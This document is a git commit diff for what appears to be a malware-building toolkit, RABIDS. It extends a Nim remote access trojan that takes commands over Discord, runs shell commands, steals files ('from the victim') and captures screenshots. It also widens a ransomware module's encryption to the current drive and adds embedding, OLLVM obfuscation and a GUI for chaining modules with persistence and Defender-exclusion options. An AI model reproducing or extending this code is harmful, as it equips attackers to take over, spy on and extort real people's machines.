Add Error message for less then one module

This commit is contained in:
Sarwar 🧃
2025-09-19 18:29:47 +05:00
parent bcaa3bf88c
commit 2f8d7ab93a
4 changed files with 167 additions and 41 deletions

View File

@ -1,4 +1,4 @@
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random
const
discordToken* = ""
@ -54,6 +54,20 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
result = await discord.api.sendMessage(channelId, content)
proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} =
const maxLen = 1980 # Leave room for code block characters
if content.len == 0:
discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```")
var remaining = content
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
let fileContent = readFile(filePath)
discard await discord.api.sendMessage(
@ -63,6 +77,22 @@ proc sendFile(channelId: string, filePath: string, fileName: string): Future[voi
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
let cmd = rawCmd.strip()
if cmd == "!help":
return """Available Commands:
!help - Shows this help message.
!ls or !dir - List files in the current directory.
!cd <dir> - Change directory.
!pwd - Print the current working directory.
!upload - Upload a file (attach it to the message).
!download <file> - Download a file from the victim.
!mkdir <dir> - Create a new directory.
!touch <file> - Create a new empty file.
!rm <file/dir> - Remove a file or directory.
!screencapture - Take a screenshot and send it.
!sysinfo - Get system information (OS, user, hostname).
!<command> - Execute a shell command (e.g., !whoami).
"""
if cmd == "!dir" or cmd == "!ls":
when defined(windows):
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
@ -77,6 +107,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
else:
return output
elif cmd == "!pwd":
return currentDir
elif cmd.startsWith("!cd "):
let newDir = cmd[3..^1].strip()
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
@ -104,7 +137,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
elif cmd.startsWith("!download "):
let fileName = cmd[9..^1].strip()
let filePath = os.joinPath(currentDir, fileName)
let filePath = joinPath(currentDir, fileName)
if fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "download successful"
@ -113,7 +146,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
elif cmd.startsWith("!mkdir "):
let dirName = cmd[6..^1].strip()
let dirPath = os.joinPath(currentDir, dirName)
let dirPath = joinPath(currentDir, dirName)
try:
createDir(dirPath)
return "created directory: " & dirPath
@ -122,7 +155,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
elif cmd.startsWith("!touch "):
let fileName = cmd[6..^1].strip()
let filePath = os.joinPath(currentDir, fileName)
let filePath = joinPath(currentDir, fileName)
try:
writeFile(filePath, "")
return "created file: " & filePath
@ -131,7 +164,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
elif cmd.startsWith("!rm "):
let target = cmd[3..^1].strip()
let path = os.joinPath(currentDir, target)
let path = joinPath(currentDir, target)
if fileExists(path):
try:
removeFile(path)
@ -150,7 +183,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
elif cmd == "!screencapture":
when defined(macosx):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
let filePath = os.joinPath(currentDir, fileName)
let filePath = joinPath(currentDir, fileName)
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
@ -159,7 +192,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
return "failed to take screenshot: " & output
elif defined(windows):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
let filePath = os.joinPath(currentDir, fileName)
let filePath = joinPath(currentDir, fileName)
let powershellScript = """
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
@ -206,14 +239,28 @@ proc getHostname(): string =
else:
return "unknown hostname"
var machineName = getEnv("MACHINE_NAME", getHostname())
proc generateSessionId(): string =
randomize()
let hostname = getHostname().replace(" ", "-").strip()
let uid = rand(1000..9999)
when defined(windows):
return "win-" & hostname & "-" & $uid
elif defined(macosx):
return "mac-" & hostname & "-" & $uid
elif defined(linux):
return "lin-" & hostname & "-" & $uid
else:
return "unk-" & $uid
var machineName: string
proc onReady(s: Shard, r: Ready) {.event(discord).} =
machineName = getEnv("MACHINE_NAME", generateSessionId())
if machineName notin sessionRegistry:
sessionRegistry.add(machineName)
try:
let dm = await discord.api.createUserDm(creatorId)
if machineName notin sessionRegistry:
sessionRegistry.add(machineName)
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
discard await discord.api.sendMessage(dm.id, machineName & " is live!")
except:
echo "Could not send startup message to creator ID: ", creatorId
@ -233,13 +280,34 @@ proc messageCreate(s: Shard, m: Message) {.event(discord).} =
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
return
if content.startsWith("!"):
try:
let output = await handleCommand(content, m, client)
discard await sendMessage(m.channel_id, output)
except CatchableError as e:
echo "Error executing command: ", e.msg
discard await sendMessage(m.channel_id, e.msg)
if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"):
let parts = content.split(' ', 1)
let firstWord = parts[0]
let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!")
if isTargeted:
# Command is like "!session-name !command"
let targetName = firstWord[1..^1]
if targetName == machineName:
let commandToRun = if parts.len > 1: parts[1].strip() else: ""
if commandToRun.len > 0 and commandToRun.startsWith("!"):
try:
let output = await handleCommand(commandToRun, m, client)
if output.len > 0:
await sendLongMessage(m.channel_id, output)
except CatchableError as e:
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
else:
discard await sendMessage(m.channel_id, machineName & " is here!")
else:
try:
let output = await handleCommand(content, m, client)
if output.len > 0:
await sendLongMessage(m.channel_id, output)
except CatchableError as e:
echo "Error executing command: ", e.msg
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
proc main() =
waitFor discord.startSession()

View File

@ -149,11 +149,12 @@ proc main() =
let targetDir = getHomeDir() / "Documents"
let desktop = getHomeDir() / "Desktop"
let currentDrive = getCurrentDir().split(PathSep)[0] & PathSep
var files = newSeq[string]()
var root: string
when defined(windows):
root = getEnv("SystemDrive") & "\\"
root = getEnv("SystemDrive") & PathSep
else:
root = "/"
@ -161,7 +162,7 @@ proc main() =
if decryptMode:
echo "Starting decryption..."
for dir in [root, desktop]:
for dir in [root, desktop, currentDrive]:
for file in walkDirRec(dir):
if file.endsWith(correctedExtension):
files.add(file)
@ -172,7 +173,7 @@ proc main() =
echo "Decryption complete."
else:
echo "Starting encryption..."
for dir in [targetDir, desktop]:
for dir in [targetDir, desktop, currentDrive]:
for file in walkDirRec(dir):
if fileExists(file) and not file.endsWith(correctedExtension) and not file.contains("ransom.html"):
files.add(file)
@ -193,5 +194,3 @@ proc main() =
echo "Error creating or opening ransom note: ", e.msg
waitFor sendDiscordMessage("Encryption complete")
when not isMainModule:
discard

View File

@ -161,8 +161,6 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
with open(f, "r", encoding="utf-8") as fh:
content = fh.read()
content, _ = apply_options_with_regex(content, all_options)
lines = content.splitlines()
module_body = []
in_main_proc = False
@ -200,6 +198,9 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
final_content_parts.append("\n\n")
final_content_parts.append("\n\n".join(module_bodies))
final_content_parts.append("\n\n")
final_content_parts[2], _ = apply_options_with_regex(final_content_parts[2], all_options)
final_content_parts.append("proc main() =\n")
for main_content in main_contents:
@ -343,20 +344,14 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
("macos", "arm64"): "aarch64-apple-darwin"
}[(target_os, target_arch)]
cargo_cmd = [
"cargo", "build", "--release", "--target", rust_target
]
if obfuscate:
cargo_cmd = ["cargo", "rustc", "--release", "--target", rust_target, "--"]
if ollvm:
cargo_cmd.append(f"-Cllvm-args={ollvm}")
project_path = str(project_dir)
volume_mapping = f"{project_path}:/projects"
if ollvm:
for pass_name in ollvm:
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
else:
cargo_cmd.append("-Cllvm-args=-enable-allobf")
docker_cmd = [
"docker", "run", "--rm",
"-v", volume_mapping,
@ -364,6 +359,7 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
*cargo_cmd
]
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
try:
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
@ -373,6 +369,10 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
print(f"Stderr: {e.stderr}")
sys.exit(1)
else:
cargo_cmd = [
"cargo", "build", "--release", "--target", rust_target
]
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
try:
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
@ -397,11 +397,11 @@ def main():
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
parser.add_argument("--ollvm", type=str, help="A string of OLLVM passes, e.g., '-enable-bcfobf -enable-subobf'")
parser.add_argument("--hide-console", action="store_true", help="Hide console window on Windows")
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
@ -456,6 +456,19 @@ def main():
dll_content = dll_path.read_bytes()
b64_content = base64.b64encode(dll_content).decode('utf-8')
nim_options.append(f"{const_name}={b64_content}")
if 'MODULE/byovf.nim' in selected_module_paths and not args.nim_only and target_os == 'windows':
embed_files_opt = next((opt for opt in nim_options if opt.startswith('embedFiles=')), None)
if embed_files_opt:
file_paths_str = embed_files_opt.split('=', 1)[1]
for file_path_str in file_paths_str.split(','):
expanded_path_str = os.path.expandvars(file_path_str.strip())
file_path = Path(expanded_path_str).expanduser()
if file_path.exists():
print(f"[*] Queuing {file_path.name} for Rust wrapper embedding from byovf.")
embedded_files_for_rust[file_path.name] = file_path.read_bytes()
else:
print(f"[Warning] File to embed not found: {file_path}")
final_exe_path_str = args.output_exe
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
@ -470,8 +483,15 @@ def main():
nim_defines = []
if args.merge:
launcher_source, nim_defines = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
else:
launcher_source = Path(args.nim_file)
elif args.nim_file:
nim_file_to_compile = args.nim_file
if 'byovf' in args.nim_file and args.option:
nim_file_opt = next((opt for opt in args.option if opt.startswith('nimFile=')), None)
if nim_file_opt:
nim_file_path_str = nim_file_opt.split('=', 1)[1].strip()
expanded_path_str = os.path.expandvars(nim_file_path_str)
nim_file_to_compile = str(Path(expanded_path_str).expanduser())
launcher_source = Path(nim_file_to_compile).expanduser()
nim_defines = patch_nim_file(launcher_source, nim_options)
suffix = ".exe" if target_os == "windows" else ""

43
main.py
View File

@ -39,6 +39,9 @@ MODULES = {
},
'module/undeleteme': {
'desc': 'Gains persistence and can add a Windows Defender exclusion.'
},
'module/byovf': {
'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
}
}
@ -87,6 +90,10 @@ MODULE_OPTIONS = {
'module/undeleteme': {
'persistence': 'true',
'defenderExclusion': 'true'
},
'module/byovf': {
'nimFile': 'path/to/your/module.nim',
'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
}
}
@ -1182,6 +1189,15 @@ class RABIDSGUI(QMainWindow):
else:
input_widget = QLineEdit(value)
input_widget.setFont(subtitle_font)
if option in ['nimFile', 'embedFiles', 'dumpsterFile', 'inputDir', 'outputDir', 'targetDir']:
browse_btn = QPushButton("Browse...")
if option == 'embedFiles':
browse_btn.clicked.connect(partial(self.browse_open_files, input_widget))
else:
browse_btn.clicked.connect(partial(self.browse_open_file, input_widget))
option_row.addWidget(browse_btn)
option_row.addWidget(option_label)
option_row.addWidget(input_widget)
self.options_layout.addLayout(option_row)
@ -1405,6 +1421,10 @@ class RABIDSGUI(QMainWindow):
if not self.exe_name_input.text():
self.log_message("Error: Output executable name is required.", "error")
return
if len(self.selected_modules) == 1:
self.log_message("Error: At least two modules are required to build a chain.", "error")
self.tab_widget.setCurrentIndex(1) # Switch to OUTPUT tab
return
loot_dir = Path(self.script_dir) / 'LOOT'
loot_dir.mkdir(exist_ok=True)
@ -1436,7 +1456,7 @@ class RABIDSGUI(QMainWindow):
if self.obfuscate_check.isChecked():
cmd.append("--obfuscate")
if self.ollvm_input.text():
cmd.extend(["--ollvm"] + self.ollvm_input.text().split())
cmd.extend(["--ollvm", self.ollvm_input.text().strip()])
if self.hide_console_check.isChecked() and self.target_os_combo.currentText() == "windows":
cmd.append("--hide-console")
@ -1498,7 +1518,26 @@ class RABIDSGUI(QMainWindow):
def browse_open_file(self, line_edit):
file_path, _ = QFileDialog.getOpenFileName(self, "Open Dumpster File", "", "All Files (*)")
if file_path:
line_edit.setText(file_path)
home_path = str(Path.home())
if file_path.startswith(home_path):
line_edit.setText(file_path.replace(home_path, "$HOME", 1))
else:
line_edit.setText(file_path)
def browse_open_files(self, line_edit):
"""Opens a file dialog to select multiple files and populates the line_edit with a comma-separated list."""
file_paths, _ = QFileDialog.getOpenFileNames(self, "Select Files to Embed", "", "All Files (*)")
if file_paths:
home_path = str(Path.home())
processed_paths = []
for path in file_paths:
if path.startswith(home_path):
processed_paths.append(path.replace(home_path, "$HOME", 1))
else:
processed_paths.append(path)
# Append to existing list or create a new one
line_edit.setText(",".join(processed_paths))
def run_garbage_collector_restore(self):
self.update_restore_destination_view()